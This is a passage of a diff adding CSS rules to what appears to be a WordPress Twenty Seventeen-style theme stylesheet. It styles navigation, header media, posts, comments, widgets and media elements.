+.main-navigation ul ul a {
+	letter-spacing: 0;
+	padding: 0.4em 0;
+	position: relative;
+	text-transform: none;
+}
+
+.main-navigation li {
+	border-bottom: 1px solid #eee;
+	position: relative;
+}
+
+.main-navigation li li,
+.main-navigation li:last-child {
+	border: 0;
+}
+
+.main-navigation a {
+	display: block;
+	padding: 0.5em 0;
+	text-decoration: none;
+}
+
+.main-navigation a:hover {
+	color: #767676;
+}
+
+/* Menu toggle */
+
+.menu-toggle {
+	background-color: transparent;
+	border: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #222;
+	display: none;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	line-height: 1.5;
+	margin: 1px auto 2px;
+	padding: 1em;
+	text-shadow: none;
+}
+
+/* Display the menu toggle when JavaScript is available. */
+
+.js .menu-toggle {
+	display: block;
+}
+
+.main-navigation.toggled-on ul.nav-menu {
+	display: block;
+}
+
+.menu-toggle:hover,
+.menu-toggle:focus {
+	background-color: transparent;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.menu-toggle:focus {
+	outline: thin solid;
+}
+
+.menu-toggle .icon {
+	margin-right: 0.5em;
+	top: -2px;
+}
+
+.toggled-on .menu-toggle .icon-bars,
+.menu-toggle .icon-close {
+	display: none;
+}
+
+.toggled-on .menu-toggle .icon-close {
+	display: inline-block;
+}
+
+/* Dropdown Toggle */
+
+.dropdown-toggle {
+	background-color: transparent;
+	border: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #222;
+	display: block;
+	font-size: 16px;
+	right: -0.5em;
+	line-height: 1.5;
+	margin: 0 auto;
+	padding: 0.5em;
+	position: absolute;
+	text-shadow: none;
+	top: 0;
+}
+
+.dropdown-toggle:hover,
+.dropdown-toggle:focus {
+	background: transparent;
+}
+
+.dropdown-toggle:focus {
+	outline: thin dotted;
+}
+
+.dropdown-toggle.toggled-on .icon {
+	-ms-transform: rotate(-180deg); /* IE 9 */
+	-webkit-transform: rotate(-180deg); /* Chrome, Safari, Opera */
+	transform: rotate(-180deg);
+}
+
+/* Scroll down arrow */
+
+.site-header .menu-scroll-down {
+	display: none;
+}
+
+/*--------------------------------------------------------------
+13.0 Layout
+--------------------------------------------------------------*/
+
+html {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+*,
+*:before,
+*:after {
+	/* Inherit box-sizing to make it easier to change the property for components that leverage other behavior; see http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */
+	-webkit-box-sizing: inherit;
+	-moz-box-sizing: inherit;
+	box-sizing: inherit;
+}
+
+body {
+	background: #fff;
+	/* Fallback for when there is no custom background color defined. */
+}
+
+#page {
+	position: relative;
+	word-wrap: break-word;
+}
+
+.wrap {
+	margin-left: auto;
+	margin-right: auto;
+	max-width: 700px;
+	padding-left: 2em;
+	padding-right: 2em;
+}
+
+.wrap:after {
+	clear: both;
+	content: "";
+	display: block;
+}
+
+/*--------------------------------------------------------------
+13.1 Header
+--------------------------------------------------------------*/
+
+#masthead .wrap {
+	position: relative;
+}
+
+.site-header {
+	background-color: #fafafa;
+	position: relative;
+}
+
+/* Site branding */
+
+.site-branding {
+	padding: 1em 0;
+	position: relative;
+	-webkit-transition: margin-bottom 0.2s;
+	transition: margin-bottom 0.2s;
+	z-index: 3;
+}
+
+.site-branding a {
+	text-decoration: none;
+	-webkit-transition: opacity 0.2s;
+	transition: opacity 0.2s;
+}
+
+.site-branding a:hover,
+.site-branding a:focus {
+	opacity: 0.7;
+}
+
+.site-title {
+	clear: none;
+	font-size: 24px;
+	font-size: 1.5rem;
+	font-weight: 800;
+	line-height: 1.25;
+	letter-spacing: 0.08em;
+	margin: 0;
+	padding: 0;
+	text-transform: uppercase;
+}
+
+.site-title,
+.site-title a {
+	color: #222;
+	opacity: 1; /* Prevent opacity from changing during selective refreshes in the customize preview */
+}
+
+body.has-header-image .site-title,
+body.has-header-video .site-title,
+body.has-header-image .site-title a,
+body.has-header-video .site-title a {
+	color: #fff;
+}
+
+.site-description {
+	color: #666;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	margin-bottom: 0;
+}
+
+body.has-header-image .site-description,
+body.has-header-video .site-description {
+	color: #fff;
+	opacity: 0.8;
+}
+
+.custom-logo-link {
+	display: inline-block;
+	padding-right: 1em;
+	vertical-align: middle;
+	width: auto;
+}
+
+.custom-logo-link img {
+	display: inline-block;
+	max-height: 80px;
+	width: auto;
+}
+
+body.home.title-tagline-hidden.has-header-image .custom-logo-link img,
+body.home.title-tagline-hidden.has-header-video .custom-logo-link img {
+	max-height: 200px;
+	max-width: 100%;
+}
+
+.custom-logo-link a:hover,
+.custom-logo-link a:focus {
+	opacity: 0.9;
+}
+
+body:not(.title-tagline-hidden) .site-branding-text {
+	display: inline-block;
+	vertical-align: middle;
+}
+
+.custom-header {
+	position: relative;
+}
+
+.has-header-image.twentyseventeen-front-page .custom-header,
+.has-header-video.twentyseventeen-front-page .custom-header,
+.has-header-image.home.blog .custom-header,
+.has-header-video.home.blog .custom-header {
+	display: table;
+	height: 300px;
+	height: 75vh;
+	width: 100%;
+}
+
+.custom-header-media {
+	bottom: 0;
+	left: 0;
+	overflow: hidden;
+	position: absolute;
+	right: 0;
+	top: 0;
+	width: 100%;
+}
+
+.custom-header-media:before {
+	/* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#000000+0,000000+100&0+0,0.3+75 */
+	background: -moz-linear-gradient(to top, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.3) 75%, rgba(0, 0, 0, 0.3) 100%); /* FF3.6-15 */
+	background: -webkit-linear-gradient(to top, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.3) 75%, rgba(0, 0, 0, 0.3) 100%); /* Chrome10-25,Safari5.1-6 */
+	background: linear-gradient(to bottom, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.3) 75%, rgba(0, 0, 0, 0.3) 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
+	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000", endColorstr="#4d000000", GradientType=0); /* IE6-9 */
+	bottom: 0;
+	content: "";
+	display: block;
+	height: 100%;
+	left: 0;
+	position: absolute;
+	right: 0;
+	z-index: 2;
+}
+
+.has-header-image .custom-header-media img,
+.has-header-video .custom-header-media video,
+.has-header-video .custom-header-media iframe {
+	position: fixed;
+	height: auto;
+	left: 50%;
+	max-width: 1000%;
+	min-height: 100%;
+	min-width: 100%;
+	min-width: 100vw; /* vw prevents 1px gap on left that 100% has */
+	width: auto;
+	top: 50%;
+	padding-bottom: 1px; /* Prevent header from extending beyond the footer */
+	-ms-transform: translateX(-50%) translateY(-50%);
+	-moz-transform: translateX(-50%) translateY(-50%);
+	-webkit-transform: translateX(-50%) translateY(-50%);
+	transform: translateX(-50%) translateY(-50%);
+}
+
+.wp-custom-header .wp-custom-header-video-button { /* Specificity prevents .color-dark button overrides */
+	background-color: rgba(34, 34, 34, 0.5);
+	border: 1px solid rgba(255, 255, 255, 0.6);
+	color: rgba(255, 255, 255, 0.6);
+	height: 45px;
+	overflow: hidden;
+	padding: 0;
+	position: fixed;
+	right: 30px;
+	top: 30px;
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	width: 45px;
+}
+
+.wp-custom-header .wp-custom-header-video-button:hover,
+.wp-custom-header .wp-custom-header-video-button:focus { /* Specificity prevents .color-dark button overrides */
+	border-color: rgba(255, 255, 255, 0.8);
+	background-color: rgba(34, 34, 34, 0.8);
+	color: #fff;
+}
+
+.admin-bar .wp-custom-header-video-button {
+	top: 62px;
+}
+
+.has-header-image:not(.twentyseventeen-front-page):not(.home) .custom-header-media img {
+	bottom: 0;
+	position: absolute;
+	top: auto;
+	-ms-transform: translateX(-50%) translateY(0);
+	-moz-transform: translateX(-50%) translateY(0);
+	-webkit-transform: translateX(-50%) translateY(0);
+	transform: translateX(-50%) translateY(0);
+}
+
+/* For browsers that support 'object-fit' */
+@supports ( object-fit: cover ) {
+	.has-header-image .custom-header-media img,
+	.has-header-video .custom-header-media video,
+	.has-header-video .custom-header-media iframe,
+	.has-header-image:not(.twentyseventeen-front-page):not(.home) .custom-header-media img {
+		height: 100%;
+		left: 0;
+		-o-object-fit: cover;
+		object-fit: cover;
+		top: 0;
+		-ms-transform: none;
+		-moz-transform: none;
+		-webkit-transform: none;
+		transform: none;
+		width: 100%;
+	}
+}
+
+/* Hides div in Customizer preview when header images or videos change. */
+
+body:not(.has-header-image):not(.has-header-video) .custom-header-media {
+	display: none;
+}
+
+.has-header-image.twentyseventeen-front-page .site-branding,
+.has-header-video.twentyseventeen-front-page .site-branding,
+.has-header-image.home.blog .site-branding,
+.has-header-video.home.blog .site-branding {
+	display: table-cell;
+	height: 100%;
+	vertical-align: bottom;
+}
+
+/*--------------------------------------------------------------
+13.2 Front Page
+--------------------------------------------------------------*/
+
+.twentyseventeen-front-page .site-content {
+	padding: 0;
+}
+
+.twentyseventeen-panel {
+	overflow: hidden;
+	position: relative;
+}
+
+.panel-image {
+	background-position: center center;
+	background-repeat: no-repeat;
+	-webkit-background-size: cover;
+	background-size: cover;
+	position: relative;
+}
+
+.panel-image:before {
+	/* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#000000+0,000000+100&0+0,0.3+100 */ /* FF3.6-15 */
+	background: -webkit-linear-gradient(to top, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.3) 100%); /* Chrome10-25,Safari5.1-6 */
+	background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.3)));
+	background: -webkit-linear-gradient(to top, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.3) 100%);
+	background: linear-gradient(to bottom, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.3) 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
+	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000", endColorstr="#4d000000", GradientType=0); /* IE6-9 */
+	bottom: 0;
+	content: "";
+	left: 0;
+	right: 0;
+	position: absolute;
+	top: 100px;
+}
+
+.twentyseventeen-front-page article:not(.has-post-thumbnail):not(:first-child) {
+	border-top: 1px solid #ddd;
+}
+
+.panel-content {
+	position: relative;
+}
+
+.panel-content .wrap {
+	padding-bottom: 0.5em;
+	padding-top: 1.75em;
+}
+
+/* Panel edit link */
+
+.twentyseventeen-panel .edit-link {
+	display: block;
+	margin: 0.3em 0 0;
+}
+
+.twentyseventeen-panel .entry-header .edit-link {
+	font-size: 14px;
+	font-size: 0.875rem;
+}
+
+/* Front Page - Recent Posts */
+
+.twentyseventeen-front-page .panel-content .recent-posts article {
+	border: 0;
+	color: #333;
+	margin-bottom: 3em;
+}
+
+.recent-posts .entry-header {
+	margin-bottom: 1.2em;
+}
+
+.page .panel-content .recent-posts .entry-title {
+	font-size: 20px;
+	font-size: 1.25rem;
+	font-weight: 300;
+	letter-spacing: 0;
+	text-transform: none;
+}
+
+.twentyseventeen-panel .recent-posts .entry-header .edit-link {
+	color: #222;
+	display: inline-block;
+	font-size: 11px;
+	font-size: 0.6875rem;
+	margin-left: 1em;
+}
+
+/*--------------------------------------------------------------
+13.3 Regular Content
+--------------------------------------------------------------*/
+
+.site-content-contain {
+	background-color: #fff;
+	position: relative;
+}
+
+.site-content {
+	padding: 2.5em 0 0;
+}
+
+/*--------------------------------------------------------------
+13.4 Posts
+--------------------------------------------------------------*/
+
+/* Post Landing Page */
+
+.sticky {
+	position: relative;
+}
+
+.post:not(.sticky) .icon-thumb-tack {
+	display: none;
+}
+
+.sticky .icon-thumb-tack {
+	display: block;
+	height: 18px;
+	left: -1.5em;
+	position: absolute;
+	top: 1.65em;
+	width: 20px;
+}
+
+.page .panel-content .entry-title,
+.page-title,
+body.page:not(.twentyseventeen-front-page) .entry-title {
+	color: #222;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	letter-spacing: 0.14em;
+	text-transform: uppercase;
+}
+
+.entry-header .entry-title {
+	margin-bottom: 0.25em;
+}
+
+.entry-title a {
+	color: #333;
+	text-decoration: none;
+	margin-left: -2px;
+}
+
+.entry-title:not(:first-child) {
+	padding-top: 0;
+}
+
+.entry-meta {
+	color: #767676;
+	font-size: 11px;
+	font-size: 0.6875rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	padding-bottom: 0.25em;
+	text-transform: uppercase;
+}
+
+.entry-meta a {
+	color: #767676;
+}
+
+.byline,
+.updated:not(.published) {
+	display: none;
+}
+
+.single .byline,
+.group-blog .byline {
+	display: inline;
+}
+
+.pagination,
+.comments-pagination {
+	border-top: 1px solid #eee;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	padding: 2em 0 3em;
+	text-align: center;
+}
+
+.pagination .icon,
+.comments-pagination .icon {
+	width: 0.666666666em;
+	height: 0.666666666em;
+}
+
+.comments-pagination {
+	border: 0;
+}
+
+.page-numbers {
+	display: none;
+	padding: 0.5em 0.75em;
+}
+
+.page-numbers.current {
+	color: #767676;
+	display: inline-block;
+}
+
+.page-numbers.current .screen-reader-text {
+	clip: auto;
+	height: auto;
+	overflow: auto;
+	position: relative !important;
+	width: auto;
+}
+
+.prev.page-numbers,
+.next.page-numbers {
+	background-color: #ddd;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	display: inline-block;
+	font-size: 24px;
+	font-size: 1.5rem;
+	line-height: 1;
+	padding: 0.25em 0.5em 0.4em;
+}
+
+.prev.page-numbers,
+.next.page-numbers {
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+}
+
+.prev.page-numbers:focus,
+.prev.page-numbers:hover,
+.next.page-numbers:focus,
+.next.page-numbers:hover {
+	background-color: #767676;
+	color: #fff;
+}
+
+.prev.page-numbers {
+	float: left;
+}
+
+.next.page-numbers {
+	float: right;
+}
+
+/* Aligned blockquotes */
+
+.entry-content blockquote.alignleft,
+.entry-content blockquote.alignright {
+	color: #666;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	width: 48%;
+}
+
+/* Blog landing, search, archives */
+
+.blog .site-main > article,
+.archive .site-main > article,
+.search .site-main > article {
+	padding-bottom: 2em;
+}
+
+body:not(.twentyseventeen-front-page) .entry-header {
+	padding: 1em 0;
+}
+
+body:not(.twentyseventeen-front-page) .entry-header,
+body:not(.twentyseventeen-front-page) .entry-content,
+body:not(.twentyseventeen-front-page) #comments {
+	margin-left: auto;
+	margin-right: auto;
+}
+
+body:not(.twentyseventeen-front-page) .entry-header {
+	padding-top: 0;
+}
+
+.blog .entry-meta a.post-edit-link,
+.archive .entry-meta a.post-edit-link,
+.search .entry-meta a.post-edit-link {
+	color: #222;
+	display: inline-block;
+	margin-left: 1em;
+	white-space: nowrap;
+}
+
+.search .page .entry-meta a.post-edit-link {
+	margin-left: 0;
+	white-space: nowrap;
+}
+
+.taxonomy-description {
+	color: #666;
+	font-size: 13px;
+	font-size: 0.8125rem;
+}
+
+/* More tag */
+
+.entry-content .more-link:before {
+	content: "";
+	display: block;
+	margin-top: 1.5em;
+}
+
+/* Single Post */
+
+.single-post:not(.has-sidebar) #primary,
+.page.page-one-column:not(.twentyseventeen-front-page) #primary,
+.archive.page-one-column:not(.has-sidebar) .page-header,
+.archive.page-one-column:not(.has-sidebar) #primary {
+	margin-left: auto;
+	margin-right: auto;
+	max-width: 740px;
+}
+
+.single-featured-image-header {
+	background-color: #fafafa;
+	border-bottom: 1px solid #eee;
+}
+
+.single-featured-image-header img {
+	display: block;
+	margin: auto;
+}
+
+.page-links {
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	padding: 2em 0 3em;
+}
+
+.page-links .page-number {
+	color: #767676;
+	display: inline-block;
+	padding: 0.5em 1em;
+}
+
+.page-links a {
+	display: inline-block;
+}
+
+.page-links a .page-number {
+	color: #222;
+}
+
+/* Entry footer */
+
+.entry-footer {
+	border-bottom: 1px solid #eee;
+	border-top: 1px solid #eee;
+	margin-top: 2em;
+	padding: 2em 0;
+}
+
+.entry-footer .cat-links,
+.entry-footer .tags-links {
+	display: block;
+	font-size: 11px;
+	font-size: 0.6875rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	padding-left: 2.5em;
+	position: relative;
+	text-transform: uppercase;
+}
+
+.entry-footer .cat-links + .tags-links {
+	margin-top: 1em;
+}
+
+.entry-footer .cat-links a,
+.entry-footer .tags-links a {
+	color: #333;
+}
+
+.entry-footer .cat-links .icon,
+.entry-footer .tags-links .icon {
+	color: #767676;
+	left: 0;
+	margin-right: 0.5em;
+	position: absolute;
+	top: 2px;
+}
+
+.entry-footer .edit-link {
+	display: inline-block;
+}
+
+.entry-footer .edit-link a.post-edit-link {
+	background-color: #222;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #fff;
+	display: inline-block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	margin-top: 2em;
+	padding: 0.7em 2em;
+	-webkit-transition: background-color 0.2s ease-in-out;
+	transition: background-color 0.2s ease-in-out;
+	white-space: nowrap;
+}
+
+.entry-footer .edit-link a.post-edit-link:hover,
+.entry-footer .edit-link a.post-edit-link:focus {
+	background-color: #767676;
+}
+
+/* Post Formats */
+
+.blog .format-status .entry-title,
+.archive .format-status .entry-title,
+.blog .format-aside .entry-title,
+.archive .format-aside .entry-title {
+	display: none;
+}
+
+.format-quote blockquote {
+	color: #333;
+	font-size: 20px;
+	font-size: 1.25rem;
+	font-weight: 300;
+	overflow: visible;
+	position: relative;
+}
+
+.format-quote blockquote .icon {
+	display: block;
+	height: 20px;
+	left: -1.25em;
+	position: absolute;
+	top: 0.4em;
+	-webkit-transform: scale(-1, 1);
+	-ms-transform: scale(-1, 1);
+	transform: scale(-1, 1);
+	width: 20px;
+}
+
+/* Post Navigation */
+
+.post-navigation {
+	font-weight: 800;
+	margin: 3em 0;
+}
+
+.post-navigation .nav-links {
+	padding: 1em 0;
+}
+
+.nav-subtitle {
+	background: transparent;
+	color: #767676;
+	display: block;
+	font-size: 11px;
+	font-size: 0.6875rem;
+	letter-spacing: 0.1818em;
+	margin-bottom: 1em;
+	text-transform: uppercase;
+}
+
+.nav-title {
+	color: #333;
+	font-size: 15px;
+	font-size: 0.9375rem;
+}
+
+.post-navigation .nav-next {
+	margin-top: 1.5em;
+}
+
+.nav-links .nav-previous .nav-title .nav-title-icon-wrapper {
+	margin-right: 0.5em;
+}
+
+.nav-links .nav-next .nav-title .nav-title-icon-wrapper {
+	margin-left: 0.5em;
+}
+
+/*--------------------------------------------------------------
+13.5 Pages
+--------------------------------------------------------------*/
+
+.page-header {
+	padding-bottom: 2em;
+}
+
+.page .entry-header .edit-link {
+	font-size: 14px;
+	font-size: 0.875rem;
+}
+
+.search .page .entry-header .edit-link {
+	font-size: 11px;
+	font-size: 0.6875rem;
+}
+
+.page-links {
+	clear: both;
+	margin: 0 0 1.5em;
+}
+
+.page:not(.home) #content {
+	padding-bottom: 1.5em;
+}
+
+/* 404 page */
+
+.error404 .page-content {
+	padding-bottom: 4em;
+}
+
+.error404 .page-content .search-form,
+.search .page-content .search-form {
+	margin-bottom: 3em;
+}
+
+/*--------------------------------------------------------------
+13.6 Footer
+--------------------------------------------------------------*/
+
+.site-footer {
+	border-top: 1px solid #eee;
+}
+
+.site-footer .wrap {
+	padding-bottom: 1.5em;
+	padding-top: 2em;
+}
+
+/* Footer widgets */
+
+.site-footer .widget-area {
+	padding-bottom: 2em;
+	padding-top: 2em;
+}
+
+/* Social nav */
+
+.social-navigation {
+	font-size: 16px;
+	font-size: 1rem;
+	margin-bottom: 1em;
+}
+
+.social-navigation ul {
+	list-style: none;
+	margin-bottom: 0;
+	margin-left: 0;
+}
+
+.social-navigation li {
+	display: inline;
+}
+
+.social-navigation a {
+	background-color: #767676;
+	-webkit-border-radius: 40px;
+	border-radius: 40px;
+	color: #fff;
+	display: inline-block;
+	height: 40px;
+	margin: 0 1em 0.5em 0;
+	text-align: center;
+	width: 40px;
+}
+
+.social-navigation a:hover,
+.social-navigation a:focus {
+	background-color: #333;
+}
+
+.social-navigation .icon {
+	height: 16px;
+	top: 12px;
+	width: 16px;
+	vertical-align: top;
+}
+
+/* Site info */
+
+.site-info {
+	font-size: 14px;
+	font-size: 0.875rem;
+	margin-bottom: 1em;
+}
+
+.site-info a {
+	color: #666;
+}
+
+.site-info .sep {
+	margin: 0;
+	display: block;
+	visibility: hidden;
+	height: 0;
+	width: 100%;
+}
+
+.site-info span[role=separator] {
+	padding: 0 0.2em 0 0.4em;
+}
+
+.site-info span[role=separator]::before {
+	content: '\002f';
+}
+
+/*--------------------------------------------------------------
+14.0 Comments
+--------------------------------------------------------------*/
+
+#comments {
+	clear: both;
+	padding: 2em 0 0.5em;
+}
+
+.comments-title {
+	font-size: 20px;
+	font-size: 1.25rem;
+	margin-bottom: 1.5em;
+}
+
+.comment-list,
+.comment-list .children {
+	list-style: none;
+	margin: 0;
+	padding: 0;
+}
+
+.comment-list li:before {
+	display: none;
+}
+
+.comment-body {
+	margin-left: 65px;
+}
+
+.comment-author {
+	font-size: 16px;
+	font-size: 1rem;
+	margin-bottom: 0.4em;
+	position: relative;
+	z-index: 2;
+}
+
+.comment-author .avatar {
+	height: 50px;
+	left: -65px;
+	position: absolute;
+	width: 50px;
+}
+
+.comment-author .says {
+	display: none;
+}
+
+.comment-meta {
+	margin-bottom: 1.5em;
+}
+
+.comment-metadata {
+	color: #767676;
+	font-size: 10px;
+	font-size: 0.625rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	text-transform: uppercase;
+}
+
+.comment-metadata a {
+	color: #767676;
+}
+
+.comment-metadata a.comment-edit-link {
+	color: #222;
+	margin-left: 1em;
+}
+
+.comment-body {
+	color: #333;
+	font-size: 14px;
+	font-size: 0.875rem;
+	margin-bottom: 4em;
+}
+
+.comment-reply-link {
+	font-weight: 800;
+	position: relative;
+}
+
+.comment-reply-link .icon {
+	color: #222;
+	left: -2em;
+	height: 1em;
+	position: absolute;
+	top: 0;
+	width: 1em;
+}
+
+.children .comment-author .avatar {
+	height: 30px;
+	left: -45px;
+	width: 30px;
+}
+
+.bypostauthor > .comment-body > .comment-meta > .comment-author .avatar {
+	border: 1px solid #333;
+	padding: 2px;
+}
+
+.no-comments,
+.comment-awaiting-moderation {
+	color: #767676;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-style: italic;
+}
+
+.comments-pagination {
+	margin: 2em 0 3em;
+}
+
+.form-submit {
+	text-align: right;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+
+.comment-form .comment-form-cookies-consent label {
+	display: inline;
+}
+
+/*--------------------------------------------------------------
+15.0 Widgets
+--------------------------------------------------------------*/
+
+#secondary {
+	padding: 1em 0 2em;
+}
+
+.widget {
+	padding-bottom: 3em;
+}
+
+h2.widget-title {
+	color: #222;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	margin-bottom: 1.5em;
+	text-transform: uppercase;
+}
+
+.widget-title a {
+	color: inherit;
+}
+
+/* widget forms */
+
+.widget select {
+	width: 100%;
+}
+
+
+/* widget lists */
+
+.widget ul {
+	list-style: none;
+	margin: 0;
+}
+
+.widget ul li,
+.widget ol li {
+	border-bottom: 1px solid #ddd;
+	border-top: 1px solid #ddd;
+	padding: 0.5em 0;
+}
+
+.widget:not(.widget_tag_cloud) ul li + li {
+	margin-top: -1px;
+}
+
+.widget ul li ul {
+	margin: 0 0 -1px;
+	padding: 0;
+	position: relative;
+}
+
+.widget ul li li {
+	border: 0;
+	padding-left: 24px;
+	padding-left: 1.5rem;
+}
+
+/* Widget lists of links */
+
+.widget_top-posts ul li ul,
+.widget_rss_links ul li ul,
+.widget-grofile ul.grofile-links li ul,
+.widget_pages ul li ul,
+.widget_meta ul li ul {
+	bottom: 0;
+}
+
+.widget_nav_menu ul li li,
+.widget_top-posts ul li,
+.widget_top-posts ul li li,
+.widget_rss_links ul li,
+.widget_rss_links ul li li,
+.widget-grofile ul.grofile-links li,
+.widget-grofile ul.grofile-links li li {
+	padding-bottom: 0.25em;
+	padding-top: 0.25em;
+}
+
+.widget_rss ul li {
+	padding-bottom: 1em;
+	padding-top: 1em;
+}
+
+/* Widget markup */
+
+.widget .post-date,
+.widget .rss-date {
+	font-size: 0.81em;
+}
+
+/* Text widget */
+
+.widget_text {
+	word-wrap: break-word;
+}
+
+.widget_text ul {
+	list-style: disc;
+	margin: 0 0 1.5em 1.5em;
+}
+
+.widget_text ol {
+	list-style: decimal;
+}
+
+.widget_text ul li,
+.widget_text ol li {
+	border: none;
+}
+
+.widget_text ul li:last-child,
+.widget_text ol li:last-child {
+	padding-bottom: 0;
+}
+
+.widget_text ul li ul {
+	margin: 0 0 0 1.5em;
+}
+
+.widget_text ul li li {
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.widget_text ol li {
+	list-style-position: inside;
+}
+
+.widget_text ol li + li {
+	margin-top: -1px;
+}
+
+/* RSS Widget */
+
+.widget_rss .widget-title .rsswidget:first-child {
+	float: right;
+}
+
+.widget_rss .widget-title .rsswidget:first-child:hover {
+	background-color: transparent;
+}
+
+.widget_rss .widget-title .rsswidget:first-child img {
+	display: block;
+}
+
+.widget_rss ul li {
+	padding: 2.125em 0;
+}
+
+.widget_rss ul li:first-child {
+	border-top: none;
+	padding-top: 0;
+}
+
+.widget_rss li .rsswidget {
+	font-size: 22px;
+	font-size: 1.375rem;
+	font-weight: 300;
+	line-height: 1.4;
+}
+
+.widget_rss .rss-date,
+.widget_rss li cite {
+	color: #767676;
+	display: block;
+	font-size: 10px;
+	font-size: 0.625rem;
+	font-style: normal;
+	font-weight: 800;
+	letter-spacing: 0.18em;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.widget_rss .rss-date {
+	margin: 0.5em 0 1.5em;
+	padding: 0;
+}
+
+.widget_rss .rssSummary {
+	margin-bottom: 0.5em;
+}
+
+/* Contact Info Widget */
+
+.widget_contact_info .contact-map {
+	margin-bottom: 0.5em;
+}
+
+/* Gravatar */
+
+.widget-grofile h4 {
+	font-size: 16px;
+	font-size: 1rem;
+	margin-bottom: 0;
+}
+
+/* Recent Comments */
+
+.widget_recent_comments table,
+.widget_recent_comments th,
+.widget_recent_comments td {
+	border: 0;
+}
+
+/* Recent Posts widget */
+
+.widget_recent_entries .post-date {
+	display: block;
+}
+
+/* Search */
+
+.search-form {
+	position: relative;
+}
+
+.search-form .search-submit {
+	bottom: 3px;
+	padding: 0.5em 1em;
+	position: absolute;
+	right: 3px;
+	top: 3px;
+}
+
+.search-form .search-submit .icon {
+	height: 24px;
+	top: -2px;
+	width: 24px;
+}
+
+/* Tag cloud widget */
+
+.tagcloud ul li {
+	float: left;
+	border-top: 0;
+	border-bottom: 0;
+	padding: 0;
+	margin: 4px 4px 0 0;
+}
+
+.tagcloud,
+.widget_tag_cloud,
+.wp_widget_tag_cloud {
+	line-height: 1.5;
+}
+
+.widget .tagcloud a,
+.widget.widget_tag_cloud a,
+.wp_widget_tag_cloud a {
+	border: 1px solid #ddd;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	display: block;
+	padding: 4px 10px 5px;
+	position: relative;
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	width: auto;
+	word-wrap: break-word;
+	z-index: 0;
+}
+
+.widget .tagcloud a:hover,
+.widget .tagcloud a:focus,
+.widget.widget_tag_cloud a:hover,
+.widget.widget_tag_cloud a:focus,
+.wp_widget_tag_cloud a:hover,
+.wp_widget_tag_cloud a:focus {
+	border-color: #bbb;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	text-decoration: none;
+}
+
+/* Calendar widget */
+
+.widget_calendar th,
+.widget_calendar td {
+	text-align: center;
+}
+
+.widget_calendar tfoot td {
+	border: 0;
+}
+
+/* Gallery widget */
+
+.gallery-columns-5 .gallery-caption,
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+/*--------------------------------------------------------------
+16.0 Media
+--------------------------------------------------------------*/
+
+img,
+video {
+	height: auto; /* Make sure images are scaled correctly. */
+	max-width: 100%; /* Adhere to container width. */
+}
+
+img.alignleft,
+img.alignright {
+	float: none;
+	margin: 0;
+}
+
+.page-content .wp-smiley,
+.entry-content .wp-smiley,
+.comment-content .wp-smiley {
+	border: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+
+/* Make sure embeds and iframes fit their containers. */
+
+embed,
+iframe,
+object {
+	margin-bottom: 1.5em;
+	max-width: 100%;
+}
+
+/* Remove bottom on embeds that wrapped in paragraphs via wpautop. */
+
+p > embed:only-child,
+p > iframe:only-child,
+p > object:only-child {
+	margin-bottom: 0;
+}
+
+.wp-caption,
+.gallery-caption {
+	color: #666;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-style: italic;
+	margin-bottom: 1.5em;
+	max-width: 100%;
+}
+
